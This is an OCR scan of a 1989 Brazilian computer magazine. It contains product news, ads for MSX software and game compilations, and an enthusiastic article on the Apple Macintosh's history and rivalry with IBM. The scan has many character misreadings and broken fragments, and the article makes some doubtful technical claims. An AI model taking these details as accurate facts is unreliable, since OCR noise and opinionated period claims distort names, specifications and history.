derosos como 0S/2 e SCO-Xenix.

Outro langamento da Microtec - O
MF386/25MHz - é equipado com o novo chip
com clock de 25 MHz da Intel, s6 recentemen-
te assimilado nos paises desenvolvidos. O equi-
pamento mantém as caracteristicas basicas do
MF 386/20 MHz, mas coloca-se como a maqui-
na ja desenvolvida no Brasil no segmento de 32
bits.

NOVOSp[od ui. OS ' dd PR
Dataservice

A Dataservice, empresa de software de Sao
Paulo, acaba de langar as versoes 2.5 do DTS-
VCICS, 2.0 do DTS Back e 1.5.3 do DTS-Pack.

O DTS- VCICS é um produto voltado para
monitoragdo de ambientes CICS e mainframes

IBM, gue agiliza o tempo de resposta. Utilizan-
do mais de sessenta comandos em tempo real,
0 DTSV/CICS permite total visualizacao do esta-
do darede de teleprocessamento, mostrando o
consumo de recursos, transagoes, arquivos, fi-
tas, terminais, etc.

A versao 2.5 do DTSVCICS sofreu aperfei-
coamentos nas fungoes “‘capacity planning” e re-
latorios, ao mesmo tempo em que vem com co-
mandos mais poderosos que, além da visualiza-
cao na tela do que esta ocorrendo, permitemn
atuar e modificar qualquer situacdo. Segundo Jo-
sé Fernando Corréa Parra, diretor da Dataservi-
ce, essas inovagdes transformam o 2.5 do DTS-
VCICS num dos melhores produtos mundiais pa-
ra andlise e performance de CICS.

Quanto ao DTS-Back (anteriormente deno-
minado DTS-BKPS), cujas finalidades basicas
s30 a operacdo e a programacao automatica das
rotinas de back-up, a versao 2.0 traz maior faci-

lidade de uso de novas técnicas de compacta-
cao de arquivos. Esse software foi desenvolvido
principalmente para atender ao mercado norte-
americano, onde o produto esti em teste em va-
rias companhias.

S e e

Software para
consulta ortogréfica

A partir deste més, a Proceda Tecnologia
dara inicio a uma estratégia de marketing total-
mente diferenciada e até mesmo inédita no se-
tor de informatica: um disquete, composto por
um exclusivo programa de Consulta Ortografica
de Texto (TTI/CONS), e também por uma apresen-
tacao de toda alinha de produtos e servigos pres-
tados pela empresa, sera distribuido para mais
de 3 mil empresarios e clientes potenciais.

“Atuamos no mercado como uma empre-
saintegradora de solugdes. Porisso nossa preo-
cupagao em distribuir nao apenas um brinde,
mas um software utilitario e de grande aplicagac’,
diz José Roberto do Valle, gerente de marketing
da Proceda.

Desenvolvido por professores do Departa-
mento de Ciéncia da Computagado da Unicamp
e pela TTI- Tecnologia, este Consultor Ortogra-
fico de Texto sera de uso exclusivo da Proceda
até 31 de outubro.

O TTICONS possui gravada em sua memao-
ria 206 mil palavras basicas da lingua portugue-
sa, mas o software permite que o usuario adicio-
ne novas terminologias, inclusive de outros idio-
mas. De facilima utilizag&o, este consultor elimi-
na qualquer duvida com relagao a grafia, acen-
tuacao e até mesmo separacao silabica, permi-
tindo que a palavra seja corrigida diretamente no
teclado. Em micro 386, o programa chega a ler
até 300 mil palavras em um minuto, e num XT,
essa velocidade & de 30 mil por minuto.

CURSOS SEMINARIOS EQUIPAMENTOS/SUPRIMENTOS
— Dbase 1, 2, 3 — A informatica na — PC XT, AT — Impressoras
— Wordstar pequena e média empresa. — No Break — Modem
— Basic — Organizacao, -
— Sistema Especialista sistemas e métodos. % FUTURE ON LINE INFORMATICA

Av. Rio Branco, 123 - Gr. 1112 - RJ - CEP: 20040 - Tel.: 232-8603 * 232-1821  232-9876




o DISCOVERY INFORMATICA

SCREEN STEALER

O utilitdrio que faltava para seu MSX.
Retira telas de qualquer fase do seu Jjogo
tavorito, colocando em formato GRP ou
SCR (GRAPHOS III). Ideal para quem
utiliza shapes, ou quer mostrar que ter-
minou um jogo. Perfeito para progra-
madores que desejam total controle so-
bre suas telas grificas. Telas integrais,
incluindo sprites. Programa 100% na-
cional. Acompanha manual completo de
utilizagdo. Funciona apenas em Expert
1.0, 1.1 e HotBit,

NCz$ 95,00
@

DISCOVERY MUSIC PACK I

Sensacionais musicas em Basic para vo-
¢€ usar em seus proprios programas.
Misicas em trés canais retiradas direta-
mente dos jogos do MSX 2.0. Facil-
mente adaptdveis, podendo ser alteradas
como o usudrio desejar. Acompanha
manual de utilizacio.

NCz$ 55,00
@

X-RATED GRAPHICS

Aqueles desenhos que vocé sempre quis
ter. Figuras picantes para o seu Graphos
III ou Graphos Pro.

(*) Somente para maiores de 18 anos.

NCz$ 60,00
®

DISCOVERY BORDERS 1

Sensacionais bordas para suas telas, Seu
trabalho ficard muito mais profissional!
(*) Compativel com Graphos IH ou
Graphos Pro.

CONTROLE BANCARIO

Programado em dBASE 1I Plus (*), po-
de controlar até 50 contas correntes ao
mesmo tempo sem haver necessidade de
trocas de disco. Gera relatérios no video
ou impressora, de qualquer més que se
queira. Programado para ser o mais fiel
possivel com o funcionamento de um
banco comercial. Acompanha manual
completo em portugués. Programa
100% nacional.

(*) dBase Il Plus, da Prdtica, néo é for-
necido junto com o programa,

NCz$ 105,00
®

DISCOVERY SUPER LETTERS

Shapes de letras para titulos no estilo do
PC. Finalmente no MSX!

(*) Compatfvel com Graphos HI ou
Graphos Pro.

NCz$ 60,00

DISCOVERY ART PACK I

Sensacional colegao de shapes para utili-
zagao com o Graphos III-ou MSX Page
Maker. Figuras sensacionais com deta-
thes surpreendentes. Valorize seu tra-
balho grifico. Figuras inéditas sem si-
milar no mercado. Do mesmo autor dos
MSX Page Maker Kit (Cartoons 1 e 2,
Fonts 1 a 4, etc...). Acompanha manual
de utilizagéo.

(*) Requer o software Graphos Il

NCz$ 60,00

NOVIDADES PARA TK 90X

Lenda da G4vea — Por Lufs F, Moraes.
Relancamento exclusivo DISCOVERY,
Vocé que € usudrio do TK 90X nio de-
ve deixar de adquiri-lo.

NCz$ 50,00

BREVE!

® THE DISK MECHANIC
® ARTPACK 2

® DICIONARIO INGLES-PORTUGUES (10.000 PALAVRAS)

NCz$ 60,00
[ ]

DISCOVERY AMIGA SHAPES 1

Desenhos retirados diretamente do
Amiga para o MSX. Agora seu Desktop
serd realmente profissional.

(*) Compartivel com Graphos Il ou
Graphos Pro.

NCz$ 100,00

@
DISCOVERY LETTERS

Fontes de letras totalmente inéditas,
(*) Compativel com Graphos HI ou
Graphos Pro.

NCz$ 55,00

Envie cheque nominal e cruzado ou vale
CEP 20001, Rio de Janciro, ou venha

PRO KIT SOFTWARE — TABELA DE PRECOS (OUTUBRO/89 - 1)

GRAPHOS III NCz$ 202,00
GRAPHOS PRO NCz$ 755,00
MODULO TELAS  NCz$ 252,00
MODULO ALFAB  NCz$ 252,00
ALFABETOS #1 NCz$ 65,00
TELAS #1 NCz3$ 65,00
SHAPES #1 NCz$ 65,00
PRO KIT zapper NCz$ 151,00
PRO KIT scanner NCz$ 151,00

PRO KIT files NCz$ 151,00
PRO KIT rot-II NCz$ 151,00
PRO KIT format NCz$ 151,00
EDITOR 3.4 NCz$ 278,00
AMAZONIA NCz$ 75,00
SERRA PELADA NCz$ 75,00

LENDA DA GAVEA NCz$ 101,00

DIGITAL BOOK#1 NCz$ 101,00

INFORMATIZAMOS SUA EMPRESA:SISTEMAS P/ MSX OU PC
PROGRAMADORES PROFISSIONAIS

PARA PEDIDOS ACIMA DE NCz$ 200,00 GRATIS “ANGRA 1 DEMO”’

CREDENCIAMOS REVENDEDORES, INFORME-SE.

POSTO DE ASSISTENCIA TECNICA
171300 KX

L0 - 1989 TO00S 0% piepiTgo RESERURLGE

postal 2 DISCOVERY INFORMA
pessoalmente a2 Rua da Quitanda, 19

TICA LTDA., Caixa Postal 3043,
» Gr. 404, Centro, Rio de Janeiro
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O ORIGINAL

PECADO DA MACA

Luiz Fernandes de Moraes

nome lembra a figura de um vene-
ravel senhor de barba branca e
saiote colorido, tocando gaita de
fole na paisagem lirica das terras
altas da Escocia. Mas a licenga poética aca-
ba aqui: trata-se, na realidade, da arma letal
com que a Apple Computer pretendeu ferir
de morte um gigante azul chamado 1BM,
que teve a ousadia de investir no florescente

mercado dos microcomputadores.
Se o objetivo inicial nao foi ainda al-

cangado e o gigante continua o “‘dono da bo-
la” no campeonato mundial da informatica,
isso nao significa que o Macintosh (ou sim-
plesmente Mac, como € carinhosamente
tratado por seus usuarios) tenha se torna-
do um fracasso: ao contrario.

Por trés da bravata de destruir o PC
da IBM, havia um objetivo mais realista, que
era salvar a propria Apple do fracasso retum-
bante do Lisa, um micro de dez mil délares
que se tornou um Titanic digital para iceberg
nenhum botar defeito. Ou a Apple dava a vol-
ta por cima e lancava uma maquina que a
reconduzisse ao seu pedestal original, ou
seus técnicos, além do desemprego, teriam
que amargar por toda a eternidade as risa-
das irbnicas de Stephen Wozniac e Steve
Jobs, os ex-patrdes que fizeram da maga co-
lorida a mais respeitada marca de micro-
computadores do mundo.

Mas como diz o ditado, ri melhor

quem ri por Gltimo. Gragas ao Mac a pala-

vra fracasso foi abolida dos dicionéarios da

Apple Computer e a IBM se viu pela primei-
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ra vez realmente ameacada. E o gigante so
nao caiu porque na pressa de langar o Mac,
a Apple cometeu pequenos erros gue resul-
taram em grandes falhas na sua estratégic
de comercializacao.

A GERACAO MACINTOSH

O primeiro Macintosh foi realmente
uma grande surpresa para o mercado da mi-
croinforméatica: uma maquina robusta, com-
pacta e de design extremamente inovador

0 Macintosh Hex
com monitor
full-page: a
revolugcao no
desktop.

- CPU, drive de 3 1/2” e monitor incorpora-
dos em um gabinete de dimensoes reduzi-
das e aparéncia agradavel, um teclado sim-
ples e prético e a onipresenca de um peque-
no periférico chamado mouse, que viria re-
volucionar a interagédo entre o usuéario € a
maquina, redimensionando o conceito de
entrada de dados e tfornando a operacao tao
intuitiva que era possivel até mesmo abrir
mao dos manuais de operac¢ao dos
programas.

Mas o susto da IBM passou logo. O
Mac tinha dois pecados que, para as neces-
sidades dos usuérios de entao, acabariam
dificultando a sua venda e facilitando a ca-
minhada dos interessados em direcao ao
PC: a tela diminuta do monitor e a auséncia
de disco rigido para o equipamento.

De nada adiantava ser uma magquina
de 16-32 bits (contra os 8-16 bits do PC) e
possuir 1 Megabyte de RAM, se amemaria
de massa se resumia a um Unico acionador
de discos de 35" com 800 Kb por disco. Pa-
ra tratamento de arquivos faltavam os varios
Megabytes de disco rigido com que os PCs
encantavam 0s USUarios. _

Além disso a arquitetura da maquina
era incrivelmente fechada, com vérios chips
customizados e um fator zero de clonabili-
dade. Ja se sabe hoje que essa estratégia
afasta do mercado as outras empresas que,
criando e desenvolvendo periféricos e pro-
gramas, acabam beneficiando a performan-
ce de vendas de qualguer eauipamento. O
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curioso é gue uma desconhecida empresa
de um remoto pais chamado Brasil conse-
guiu um milagre de engenharia reversa e
criou o primeiro e Unico clone do Mac, aba-
lando de tal forma a Apple que ela esque-
ceu momentaneamente a IBM e voltou to-
da a sua artilharia para as costas brasileiras
€ matou o “bastardo” no berco. Coisas do
futebol.

Mas independente das falhas resta-
va no primeiro Mac um numero bem gran-
de de virtudes. Para promover o Mac a Ap-
ple contava com a sua facilidade de intera-
gir com o operador e a sua capacidade gra-
fica. E foi por af que o Mac comegou a fa-
zer historia, a despeito do ridiculo som de
gongo chinés com pigarro que o usuério ou-
| via a cada vez que dava partida na maqui-
! na. O caminho normal do Mac foi a mesa da
{ secretéria e o Desktop Publishing, areas on-
de ele causou uma revolugdo em carater
irreversivel.

O SURGIMENTO DO MACINTOSH Ii

Foi com o Mac Il que a Apple deu o
seu primeiro passo para acuar a IBM que
tenta fazer do PS/2 a verdadeira maquina do
juizo final. O Mac Il, na faixa dos cinco mil
délares custa mil dolares menos que o PS/2
modelo 80. O Mac Il vem com disco rigido
de 40 Mb, meméria RAM inicial de 1 Mb
com capacidade de expansao para 7 Mb na
placa-mae e até 2 Gb (sabe quanto é dois
Gigabytes?) se expandido através de
interfaces.

O clock € o mesmo do PS/2 (16 Mhz)
mas 0 microprocessador é o Motorola
68020, um verdadeiro mestre em endere-
gar meméria. O Mac Il vem com coproces-
sador aritmético incluido (68881 da Moto-
rola), possui seis slots de expansao, tecla-
do no estilo Apple de oitenta e uma teclas,
resolucdo de 640x480 pixels, opcao para
monitor monocromético de alta resolugio
ou RGB também de alta resolugao. Isso sem
falar no mouse, no som estéreo amplifica-
do, na arquitetura aberta desenvolvida pe-
lo Michigan Institute of Technology e nos sis-
temas operacionais System, Multifinder e
Hypercard que acompanham a maquina,
sendo o Hypercard o representante do
maior avanco ja obtido por qualquer empre-
sa de microcomputadores. E ver para crer.

—

aguas. A familia Macintosh hoje possui o
Mac Plus, o Mac SE, o Mac ll, o Mac lIx com
4 Mb de RAM inicial e disco rigido de 40, 80
ou 160 Mb (oito mil délares), o Mac licx, ja
com o microprocessador Motorola 68030
e coprocessador 68882 e compatibilidade
com o software do Mac Il e do Mac llx, dis-
co rigido de 80 Mb e acionador de 3,5” de
1.4 Mb, capaz de ler e gravar nos formatos
MS-DOS, 0S/2 e ProDOS. A unidade de pa-
ginacdo de memoria permite a utilizacdo
em multitarefa e o conjunto alcanga um pre-
¢o de apenas sete mil dolares.

O dltimo langamento & o Mac SE/30,
uma méaquina compacta como o Mac SE,
mas operando em velocidade 4 vezes supe-

Mas o Mac Il foi apenas o divisor de

0 Turbo Mbuse da Kensington: um conceito le-
vado as ultimas consequéncias.

0 Mac SE reeditando a tendéncia no formato
compacto.

rior através do 68030. O coprocessador arit-
mético 68882 permite uma velocidade de
calculo em ponto flutuante 100 vezes supe-
rior ao modelo SE. Isso sem falar que o
SE/30 trabalha com o mesmo acionador de

disquetes do Mac licx, com 1.4 Mb e capa-

cidade de leitura e gravacgao nos sistemas
operacionais do PC. Com disco rigido de 80
Mb o Mac SE/30 custa a bagatela de seis mil
délares: n2o ha PS/2 que resista.

A ameaga para a IBM é muito gran-
de. Nem mesmo o reconhecimento das vir-
tudes do Mac que induziram a criagao do
software Windows da Microsoft, na tentati-
va de tornar o PC t3o intuitivo quanto o Mac,
foi capaz de influir na decisao de compra do
usuario. O Windows é apenas um arreme-
do de software quando comparado ao sis-
tema operacional do Mac, atestando que o
PC jamais chegara 14. Nem ao menos se
aproximara de maquinas como o Amiga da
Commodore, que conseguiu dar ao mouse

a mesma potencialidade que o Macintosh
patenteou.

A NOVA ESTRATEGIA DO MACINTOSH
Hoje os caminhos do Mac s&o mais

suaves e ele nao brada aos quatro ventos
que pretende destruir o PC. A estratégia é

diametralmente oposta e o Mac se apresen-

ta como um aliado para os usuérios da IBM
enquanto vai sorrateiramente minando as
defesas da “big-blue”

A quantidade de produtos voltada pa-
ra a conectividade e a troca de dados é tao
grande que muita gente que tem PC ja pen-
sa em comprar um Mac para ampliar o seu
potencial de trabalho, sem perder o tempo
e o dinheiro investidos em instalacao e de-
senvolvimento de sistemas e arquivos no
PC. Além disso muitos usuarios do Mac sao
também usuarios do PC, tendo um Mac em

.casa e um PC no trabalho.

Quando as circustancias ditam as re-

gras, torna-se necessario que o Mac se ha-

bilite a rodar software do PC. Isso é possi-
vel gracas aos coprocessadores MS-DOS
como o Mac286 ou o SoftPC, que possibi-
litam que o Mac I1, lIx, llex, SE ou SE/30 pos-

SR L

0 Macintosh Il com monitor RGB Radius: reso-
lucdo de 1152x882 pixels.

sam utilizar hardware ou software, emulan-
do o ambiente MS-DOS.

Um Macintosh com coprocessador
MS-DOS e sistema operacional Multifinder
permite que seu usuario execute o Lotus
1-2-3 em uma janela MS-DOS simultanea-
mente com o Excel, rodando em uma jane-
la regular do Macintosh. Usando o coman-
do standard “cut and paste” do Mac, o usua-
rio troca dados entre as duas planilhas de
forma répida e transparente. Essa possibili-
dade é muito mais sedutora do que usar
programas comuns de froca de arquivos co-
mo o DaynaFile ou 0 MacLink Plus.

Mas a ameaga nao fica s6 por ai. Ob-
servadores da industria mundial j& percebe-
ram que o Macintosh, em niimero estima-
do de um milh&o e duzentas mil maquinas
50 em territério norte americano, j& estao

sendo usados nas grandes corporagées, o

gue gera a necessidade de conectividade
com os mainframes IBM, sem d(vida os de
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maior presenca no mercado. Isso ndao pas-
saria em branco para a Apple Computer, que
langou recentemente o ApplelLine 3270 Fi-
le Transfer, uma solugao que envolve softwa-
re e hardware para permitir a troca de da-
dos com a familia 3270 (3090, s/370, etc.)
da IBM através do conversor de protocolo
AppleLine.

Bastou isso para que outras empre-
sas como a Avatar, Digital Communications
Associates, Tri-Data Systems e Simware par-
tissem para a tomada deste mercado com
produtos como o MacMainFrame (1.300 d&-
lares), MacIRMA (1.200 délares), Netway
2000 (8500 délares) e Mac3270 (250 db-
lares). Resta saber como a IBM vermn rece-
bendo esta “alianga” com o Mac e o que ela
pretende fazer em termos de gratiddo (leia-
se retaliacdo).

Mas deixando de lado os voos mais
altos e fincando o pé na terra, ou melhor, na
mesa do usuario comum, a verdade é que
o Mac esta se tornando um micro mundial-
mente difundido pelas suas potencialida-
des. A cada ano a MacWorld, a feira mundial
do Macintosh realizada duas vezes por ano
nos Estados Unidos, mostra porgue o Mac
vem se tornando sindnimo de encantamen-
to na microinformaética.

S0 para se ter uma idéia, a Gltima fei-
ra mostrou de forma definitiva que o Hyper-
card ndo & simplesmente um programa de
computador, mas sim parte importante do
futuro do Mac a médio e longo prazo. E gra-
cas ao Hypercard que o Mac descobriu a
computacao em multimidia (desktop, video,
audio, animacao, CAD, etc.) que ja havia si-
do descoberta e adotada pelo Amiga, que
ainda é lider nessa area.

Para se ter uma idéia, um dos produ-
tos mais comentados da Feira foi um cata-
logo em videodisco contendo seis mil obras
de arte do museu do Louvre, com trinta e
cinco mil imagens incluindo comentarios de
75 obras selecionadas. O catalogo & dividi-
do em trés volumes que cobrem objetos de
arte, pinturas e esculturas. Para visualizar to-
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da a obra basta um Mac Il com Hypercard
e um videodisk player.

Um outro produto que causou impac-
to foi o software HyperAnimator da BrightS-
tar Technology Inc, um programa que per-
mite a criacéo e animagao de objetos soli-
dos de forma simples e com performance
extremamente elevada. Mas esse ndo é um
produto isolado j& que o usuéario pode con-
tar também com o VideoWorks Professional,
um programa similar cuja Gnica diferenca &
0 maior grau de dificuldade para criar uma
animagao. A curiosidade € que a Microillu-
sions, autora do Photon Paint, o mais incri-
vel editor grafico do Commodore Amiga,
que opera no formato hold-and-modify
(4096 cores) acaba de langar a versdo do
Photon Paint para o Mac.

Outro grande avanco para o usuario

A esquerda a tela
do programa
MicroStation: o CAD
de tltima geracao.
a direta o JX-450: o
scanner colorido
para o Mac.

do Mac & o OmniPage, da Caere Corpora-
tion, um software de reconhecimento 6tico
(OCR) que permite reconhecer através de
um scanner, virtualmente qualquer pagina,
independente das proporgoes de imagens
e textos em caracteres em qualquer tama-
nho ou tipologja que a pagina possa conter.

Antes do OmniPage s6 era possivel
reconhecer caracteres em documentos que
obedecessem a especificagdes precisas.
Com o OmniPage os scanners podem reco-
nhecer varios tipos de paginas com mistu-
ra de texto e imagem. O programa identifi-
ca texto em imagem em uma Gnica leitura,
arquivando o resultado nos formatos TIFF
ou ASCIL. Isso equivale a colocar um manus-
crito no scanner e, em poucos segundos,
ver o texto dentro do seu processador de
textos preferido. E como possuir uma copia-
dora Xerox fabricada no pais dos sonhos.

Para os musicos a Coda Music Soft-
ware langou um programa chamado Finale
que pode ser considerado o amigo do pei-
to do compositor, ja gue se trata de um soft-
ware de transcricao musical. O Finale trata
transcricao e notacdo musical com bastante
virtuosismo, eliminando uma grande quan-

tidade de etapas no processo de edicao/exi-
bicao. O recurso mais interessante do Fina-
le consiste na sua capacidade de escrever
musica introduzida por meio de um tecla-
do MIDlado: basta executar a misica no te-
clado, em qualguer ritmo ou estilo que o Fi-
nale imprime a partitura.

CONCLUSAO

Nao existe um (nico possuidor de
Macintosh que ndo se encontre sorrindo de
orelha a orelha. Afinal, além da mistica e da
tradicao que a marca Apple evoca, a propria
realidade da microinformética mundial se in-
cumbe em colocar o Mac em um pedestal
mais elevado.

Software e hardware nunca resulta-
ram em uma alquimia tdo bem sucedida

quanto a que ocorreu com o Macintosh, co-
mo atestam as empresas de desktop publis-
hing, design e outras, além de msicos e vi-
deomakers. Talvez a Gnica coisa que falte se-
jaomomento de lazer do usuario, j& que in-
felizmente em termos de jogos e entreteni-
mento 0 Mac ainda deixe muito a desejar,
sendo este o Unico ponto onde o PC foi -
pidamente suplantando pelo Mac. Os jogc s
do Mac s&o bem melhores que os do PC, o
que ndo & de estranhar ja que os jogos do
PC sao execraveis.

Mas o preco do Mac deixa bem claro
de que n&o se trata de um videogame mas
sim de um microcomputador que surgiu pa-
rareescrever a historia da informatica e seu
Unico pecado era ser original demais no mo-
mento errado. Mas ele hoje ja foi absolvido
e plenamente compreendido pelos usua-
rios. Se ele um dia vencera o PC & apenas
um exercicio tedrico: ele j & melhor e tem
tudo para continuar assim. O ¢la Macintosh
ja se estabeleceu e a tradicao ja existe.

Fotos: Arquivo MS 0
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A Zochio
fem oS
melhores
games

Mega Pack 451 — PINGUIM ADVENTURE-SALAMANDER, 452 - KING'S VALLE! li-FINAL
ZONE, 453 - NEMESIS 2, 456 - DRAGON QUEST, 457 - GALL FORCE, 458 - DIGITAL DE-
VIL STORY, 459 - F1 SPIRIT ELITE.

SUPER PACK 301 — ACE OF ACE, KRAKOUT, CAPITAO SEVILLA 2, HEDDOX, DOM QUI-

XOTE, CRAZY CAR. PACK 302 — DEATH WHISH, JAMES BOND, INDIANA JONES, FRED
HARDEST |, GAME OVER |, REX HARD.PACK 303 — FRED HARDEST II, ROCK O LUTA-
DOR, GAME OVER I, TURBO GIRL, HUNDRA, FERNAN BASKET. 304 — AFTEROIDS, VE-
NON, ARCOS 1, BANANA, MUNDO PERDIDO, HOCKEY. 305 — ARKOS I, ALBATROZ,
ALEOHP AMARQUTE, JORN CENT DA TERRA, CANWF WORKS. 306 — OCEAN, ARKOS
I1l, GAPITAO SEVILLA 1, STREAKER, T T RACE, BUBLER. 307 — HAUNTED HOUSE, BLOP-
UP,. GUTT BLASTER, PINBAL BLASTER, MAZE MASTER, HABBILIT. 308 — CHICAGO, TAI-

PAN, NAVES MOVES I, SOL NEGRO |, ASPARG (MOTO), RAMPART. 309 — COLISEU, BU-

TRAGENOFUT, MINDER TITANIC 1, BARBA NEGRA, SIMULADOR 737. 310 —HAMPREY,
LADY SAFARI, MAD MIX, NAVE MOVES Il, SOLNEGRO II, TITANIC [I. 311 — CHUBBY GRIS-
TLE, OCTOBER, POWER, REFLEX, THOR, TAUREG. 312 — ESQUADRAO CLASS A, CO-
LOSSOS 4, MUTANT ZONEI, MUTANT ZONE II, SABRINA, COMANDO TRAC. 313 —COS-

ME ESTIBLE, FIRE STAR, JEWELS DARK 1, JEWELS DARK 2, OUT RUN, PACMANIA. 314
— ADICTA, HERCULES, JEWELS DARK 3, JAST, PETER, ARAMO. 315 — BOUNCE, STRAN-
GE, FINAL CONTIDOUM, STRIP, BOUKEN, VORTEX. 316 — TRIPLE COMANDO, BARBA-
RIAN, MASK, GHOST, TERRAMEX.

PACK 01 — DOG FLIGHTER, OLIMPIADAS 2, FISCAL DE ESTOQUE, MR CHIN, COELHO
MALUCO, TAKUN, WINTER OLIMPIC, BILHAR, KEYSTONE KAPPERS, SEA. PACK 02 —
TIME BANDID, SPACE BUSTER, CHOCK IN POP, EXERION 1, FUTBOL REPLEY, HOLE IN
ONE, MR WONG, FLIPER SLIPER, VIDEO POKER, WAR HEAD. PACK 03 — CHOPTLIFTER,
FLYTER, GROGS REVENGER, HYPER SPORTS 2, LUNAR PATROL, LEMANS 2, PADEIRO
MALUCO, REGATA, THUNDERBALL, ZOIDS. PACK 04 — BOX, 0OS GONNIES, GREEN BE-
RET, HYPER SPORTS 3, KING'S VALLEY, ROAD FLIGHTER, SOCCER KONAMI, TENNIS,
TIME PILOT, YIE AR KINGFU 1. PAGK 05 — BARNSTORNER, BINARI & LAND, BOUNDER,
FORMULA 1, SAMANTHA FOX, OLIMPIADAS 1, RIVER RAID, THESEUS, TURBOAT, ZOOM
909. PACK 06 — BUTAMARU, DEMON CRISTAL, SUPER GALO, HAPPY FRET, LAZY JO-
NES, LONESONE TANK, NINJA 2, SPACE TROUBLER, SURUBA, VOLGUARD. PACK 07 —
ESQUADRAQ ALFA, BLOCKED RUNNER, DAM BUSTER, DAWN PATROL, F 16 COMBAT,
JUMP JET, NORTH SEA HELICOP STAR SHIP SIM, SIMULADOR 737 II, SPITIFIRE 40. PACK
08 — ATLETIC LAND, BASEBALL, CIRCUS CHARLY, GOLFE KONAMI, MONPIRANGER,
PING-PONG, PIPPOLS, POYAN, HIPER RALLY, TWEEN BEE. PACK 09 — ANIMAL WARZ,
007 A WIEN TO, BANK PANIC, CANNON FLIGTER, CHAMPION NATIONAL, FLIPER, MJ 05,
RAID ON BAY B, PIRAMID WARP. XYZOLOG. PACK 12 — CONGO BONGO, DECATHLON,
FROGGER 1, AUF WIEDERSEN, FUNCKY MOUSE, PASTIFINGER, PITFALL 2, PREDIO AS-
SOMB, ROLLER BALL, STOP THE EXPRESS. PACK 15 — ANIMAL BASKET, CHILLER, DOU-
GEON MISTERY, EXERION 2, GLIDER, GUNFRIGHT, PUNCHY, SLINKEY, SPEED KING, SU-
PRA ROBO. PACK 17 — BATMAN, BLAGGER, CHOROQ, CONDOR MAN, DESOLATER,
FLAPPY STONES, KINASAI, PITFALL 1, SUPER COBRA, MAGICAL WIZZ PACK 21 — BEAM
RIDER, ACTION, GINKO GOTO, PILL BOX, MUTANT MONTLY, PINE APLINS, SCION, SHARK
HUNTER, ROCK'S BOLT, ZOON. PACK 22 — BASKET, CAT ADVENTURE, FOOT VOLLEY,
GUARDIAC, HAUNTED BOY, HYD LAD, 3D KNOCK OUT, NINJA 3, SPELLUNKER, ZAXXON.
PACK 23 — BASEBALL CRAZY, BOMBER MAN SPE, CANDOO NINJA, CHAMPION BOX,
CHECK MATE, CLAPTON 2, COSMOS EXPLORER, FORMATION Z, STAR SOLDIER, TIME
TRAX. PACK 24 — 3D BOMBER MAN, AVAENGER, BOKOSUKA WARZ, DART MASTER,
DRAGON ATTACK, MAYHEN, JACK THE NIPPER, RAMBO I, SECRET MISSION, SWEET
ACORN. PACK 25 — BUZZOF, BOOGIE JUNGLE, KNIGHT MARE, LODE RUNNER 2, JET
ROMBER, HERQ, SUPER BILHER, THE WRECK, WARROID, DRUAGA. PACK 26 — POPU-
LAR CICLOPS, EPISODE 4, FERNAN BASKET 1, FINDERS KEEPERS, FROGGER 2, HUGH,
HUMPREY, JET FLIGHTER, MACROS FLIGHT, MURDER. PACK 27 — COLONY, ILLUSIONS,
MIKI, MOON RIDER, SAFARI X, SHIP WARSZ, SPOOKE & LADDERS, TETRA

HORROR, TOPLE TIP WESTRON. PACK 28 — BEACH HEAD, BOMM, CLUEDO, FRED AND
BUBLOI, JUMP LAND, MIDNIGTH BROTH, MONOPOLIO, MONSTER'S, SUPER MIND. VI-
CIUS VIPER. PACK 29 — NUTS MILK, COURASADO PERS, PHANTS 1, VIDEQ POKER 2,

POLARIUS 2, HUSTLER, QBERT 2, RUNNER, SPACE SHUTLER, SKOOTER. PACK 30 —
DEUS EX MACHINA, DIG DUS, INVASION, SPACE RESCUE, SPACE WALK, ROBOFROG,

SAILORS DELINIG, SIMBA SAFARI, SOUL OF ROBOT, WINTER GAMES 1. PACK 31.— EU-

ROPEAN GAMES, JOGO DO EXECUT, FLIGHT RIDER, FLY BOAT, FUZZBALL, HEIDI BALL,

OBAKE, ORION, OUTROYD, RABBIAN. PACK 33 — BRIAN JACK, BRUCE LEE, BUNNIE,
CHIMA CHIMA, CHOPER, CHOST, DIP DIP. DEAM RUNNER, STAR WARZ, Q'BERT 1. PACK
35 ANTARES, ANTY, BMX REKENCROSS, JACK X MR WID, HOPPER, RASTER SCAN,
TERMINUS, VENGANZA, MAGICAL BALL, SNOKER OFICIAL. PACK 36 — AMIGA, COAS-
TER RACE, BOLICHE, HOWARD DUCK, INFERNAL MINER, INCA 1, PANIC JUNTION, PRO-
TECTOR, SKY HANK, SURVIVOR. PACK 37 — DONKEY KONG, FIRST STEP, GODZILA, MEA-
NING LIFE, DIAMOND MINE 2, MOBILE PLANET, MOUSER, PACHINKO, POPULAR COM-
PUTER, JET SET WILLY 2. PACK 38 — DANGER X 4, DEMAND, FRONT LINE, ICIC WORKS,
KING OF BALLON, NONAMED, PAIRS, PINBALL, DISC WARRIOR, WAR CHESS. PACK 39
— G PRIX RIDER, HELITANK, ICE, INSPECTEUR Z, ITASUDORIDUS, KILLER STATION,
RALLY X, SPIRITS, SUPER DOORS, TOPROL. PACK 40 — SETE E MEIO, DINAMIT DAN,
DORODON, FRUIT FRANK, FORMULA INDY 1, KICK IT, MANIC MINER, SPY X SPY, SU-
PER TRIPER, WIZARD LAIR. PACK 41 — DROME, LAST MISSION, LAZER BAKES, LEU-
COCITE, LIVING STONE, MAHJONG, MAZES UNILIMITED, PAY LOAD, THE WALL, XETRA.
PACK 42 — COMET TAIL, COSA NOSTRA, DEMONIA, DOMING, FAIRY, FRUIT PANIC, LAS-
LUCE, BOLOGNA/MILANO, MISTER NO NILO, MR GOMOKO. PACK 44 — ALCATRAZ, CLASS
ADVENTURE, DRACULA, EMERALD, RED MOON, MEAN STREET, PROFIS PERIGO, PRI-
CE MAGIC, VIETNAN, ZAKIL WOOD. PACK 45 — PLAZA DE TOROS, CAPLE , DAMAS 1,
COSMOS TRAVEL, CRUZADER, ELEPHANT MAPPY, GIRL'S RATS, KAERU SHUTER,
KRYPTON, LETTER PUZZLE. PACK 47 —EURTR, FUTBAL DO MUND, KUBUS, SUPER
BOLW, SUPER SOCCER, TACTION, CATABALAO, U-BOOT, YIEAR KUNG FU 2, ZEXAS 1.
PACK 48 — HERO X, KNIGHT TYME, PANZER ATTACK, PLATOON, COLOR BALL, SOR-
CERY, CASTELO NEGRO, OH! NO, ZAPATA, SEA KING. PACK 49 — AQUA POLIS,ATLETIC
LAND 2, COMBAT, CRUNCH, CUB'S HERT, NINGHT FLIGHT, JUNGLE JIM, ROGER, NU-
